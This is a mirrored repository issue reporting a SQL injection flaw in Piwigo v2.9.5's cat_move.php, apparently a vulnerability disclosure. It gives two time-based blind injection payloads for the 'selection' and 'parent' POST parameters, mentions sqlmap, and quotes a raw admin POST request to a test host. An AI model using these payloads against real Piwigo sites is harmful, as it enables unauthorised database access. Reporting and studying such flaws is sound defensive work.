adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

SQL injection in cat_move.php #885

New Issue
Closed
opened 2026-10-05 00:22:42 +02:00 by adam · 2 comments
adam commented 2026-10-05 00:22:42 +02:00
Owner
Copy link
Copy source

Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.

replace any of the following parameter in POST requests to reappear the vulnerability：
selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23
or
parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23

I use 'sqlmap' to reappear the vulnerability:
4
6

Hi, I found a sql injection vulnerability in cat_move.php: The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability. **replace any of the following parameter in POST requests to reappear the vulnerability：** ```selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23``` or ```parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23``` I use 'sqlmap' to reappear the vulnerability: ![4](https://user-images.githubusercontent.com/34082644/57218384-c143eb00-7027-11e9-8f33-882af04aff4b.png) ![6](https://user-images.githubusercontent.com/34082644/57218549-2566af00-7028-11e9-81b8-df5313785c02.png) <!-- github-sync-id:440625122 -->
adam closed this issue 2026-10-05 00:22:42 +02:00
adam commented 2026-10-05 00:22:43 +02:00
Author
Owner
Copy link
Copy source
POST /admin.php?page=cat_move HTTP/1.1
Host: 10.150.10.186:30008
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30008/admin.php?page=cat_move
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Cookie: pwg_id=bv8q0gb8mbcqb99bhcqdlf1q20
Connection: close
Upgrade-Insecure-Requests: 1

selection%5B%5D=4&parent=7&submit=%E6%8F%90%E4%BA%A4
``` POST /admin.php?page=cat_move HTTP/1.1 Host: 10.150.10.186:30008 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://10.150.10.186:30008/admin.php?page=cat_move Content-Type: application/x-www-form-urlencoded Content-Length: 108 Cookie: pwg_id=bv8q0gb8mbcqb99bhcqdlf1q20 Connection: close Upgrade-Insecure-Requests: 1 selection%5B%5D=4&parent=7&submit=%E6%8F%90%E4%BA%A4 ``` <!-- github-comment-id:490712139 -->
adam commented 2026-10-05 00:22:44 +02:00
Author
Owner
Copy link
Copy source

vulnerability found in Piwigo v2.9.5

vulnerability found in Piwigo v2.9.5 <!-- github-comment-id:520446303 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#885